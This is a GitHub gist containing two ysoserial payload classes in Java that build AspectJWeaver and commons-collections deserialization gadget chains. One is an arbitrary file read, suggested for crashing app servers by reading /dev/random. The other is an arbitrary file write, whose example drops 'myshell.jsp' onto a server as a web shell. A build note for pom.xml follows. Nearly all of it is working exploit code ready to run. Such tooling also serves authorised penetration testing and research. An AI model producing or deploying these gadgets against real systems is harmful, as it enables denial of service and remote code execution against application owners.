Skip to content

Instantly share code, notes, and snippets.

@denandz
Last active September 26, 2022 05:49
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save denandz/a806b53e36034a08e0e2d4001fe416eb to your computer and use it in GitHub Desktop.
Save denandz/a806b53e36034a08e0e2d4001fe416eb to your computer and use it in GitHub Desktop.
AspectJWeaver file upload and read deserialization gadgets
package ysoserial.payloads;
import org.apache.commons.io.FilenameUtils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.aspectj.weaver.tools.cache.SimpleCache;
import java.io.Serializable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* A arbitrary file read gadget using AspectJWeaver and commons.
* Useful for forcing app server restarts by reading /dev/random. First param is the file to read:
*
* Example:
* java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileRead1 /dev/random
*
* Gadget chain:
* ObjectInputStream.readObject()
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* TiedMapEntry.hashCode()
* TiedMapEntry.getValue()
* SimpleCache$StoreableCachingMap.get()
* SimpleCache$StoreableCachingMap.readFromPath()
* FileInputStream()
*
*
* Requires:
* commons-collections (works with 3.1 or 3.2.x, 4 untested)
* aspectjweaver
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-collections:commons-collections:3.x", "org.aspectj.weaver:aspectjweaver:1.9.5"})
@Authors({ Authors.DOI })
public class AspectJWeaverFileRead1 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String fullpath) throws Exception {
String folder = FilenameUtils.getFullPath(fullpath);
String file = FilenameUtils.getName(fullpath);
Class<?> innerClass = SimpleCache.class.getDeclaredClasses()[0];
Constructor<?> constructor = null;
try {
constructor = innerClass.getDeclaredConstructor(String.class, int.class);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
constructor.setAccessible(true);
Object storeableCachingMap = null;
try {
storeableCachingMap = constructor.newInstance(folder, 10);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
try {
// call the super method to avoid creating the file locally
Method storeableCachingMapPut = innerClass.getMethod("putIfAbsent", Object.class, Object.class);
storeableCachingMapPut.setAccessible(true);
storeableCachingMapPut.invoke(storeableCachingMap, file, folder+"/"+file);
} catch (NoSuchMethodException e){
e.printStackTrace();
} catch (IllegalAccessException e){
e.printStackTrace();
} catch (InvocationTargetException e){
e.printStackTrace();
}
TiedMapEntry entry = new TiedMapEntry((Map) storeableCachingMap, file);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
try {
innimpl = (HashMap) f.get(map);
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
}
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
try {
array = (Object[]) f2.get(innimpl);
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
}
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
try {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
} catch (ClassNotFoundException classNotFoundException) {
classNotFoundException.printStackTrace();
}
}
Reflections.setAccessible(keyField);
try {
keyField.set(node, entry);
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
}
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(AspectJWeaverFileRead1.class, args);
}
}
package ysoserial.payloads;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.FilenameUtils;
import org.aspectj.weaver.tools.cache.SimpleCache;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* A arbitrary file upload gadget using AspectJWeaver and commons.
* Takes two parameters, the first being the file to be uploaded (on your local host) and the second being the path
* where the file will be uploaded when the gadget is deserialized.
*
* Greets to nightst0rm, who also discovered this gadget chain: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*
* Example:
* java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar AspectJWeaverFileUpload1 './myshell.jsp;/some/path/on/the/server/whatever.jsp'
*
* Gadget chain:
* ObjectInputStream.readObject()
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* TiedMapEntry.hashCode()
* TiedMapEntry.getValue()
* LazyMap.get()
* SimpleCache$StoreableCachingMap.put()
* SimpleCache$StoreableCachingMap.WriteToPath()
* FileOutputStream()
*
* Requires:
* commons-collections (works with 3.1 or 3.2.x, 4 untested)
* aspectjweaver
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-collections:commons-collections:3.x", "org.aspectj.weaver:aspectjweaver:1.9.5"})
@Authors({ Authors.DOI })
public class AspectJWeaverFileUpload1 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String args) throws Exception {
String[] argArray = args.split(";");
if(argArray.length != 2){
throw new IllegalArgumentException("Bad command format. Need exactly two parameters, '<file to upload>;<path to upload to>'");
}
String filePath = argArray[0];
String uploadPath = argArray[1];
String uploadFolder = FilenameUtils.getFullPath(uploadPath);
String uploadFile = FilenameUtils.getName(uploadPath);
// read the file to be uploaded
byte[] fileData = FileUtils.readFileToByteArray(new File(filePath));
Class<?> innerClass = SimpleCache.class.getDeclaredClasses()[0];
Constructor<?> constructor = null;
try {
constructor = innerClass.getDeclaredConstructor(String.class, int.class);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
constructor.setAccessible(true);
Object storeableCachingMap = null;
try {
storeableCachingMap = constructor.newInstance(uploadFolder,10);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
ConstantTransformer transformer = new ConstantTransformer(fileData);
final Map lazyMap = LazyMap.decorate((Map) storeableCachingMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, uploadFile);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
try {
innimpl = (HashMap) f.get(map);
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
}
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
try {
array = (Object[]) f2.get(innimpl);
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
}
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
} catch(Exception e){
try {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
} catch (ClassNotFoundException classNotFoundException) {
classNotFoundException.printStackTrace();
}
}
Reflections.setAccessible(keyField);
try {
keyField.set(node, entry);
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
}
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(AspectJWeaverFileUpload1.class, args);
}
}
@denandz
Copy link
Author

denandz commented Jan 6, 2021

Add the following to pom.xml to build:

under non-gadget dependencies:

	<dependency>
		    <groupId>commons-io</groupId>
		    <artifactId>commons-io</artifactId>
		    <version>2.4</version>
	</dependency>

and under gadget dependencies:

        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.9.5</version>
        </dependency>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment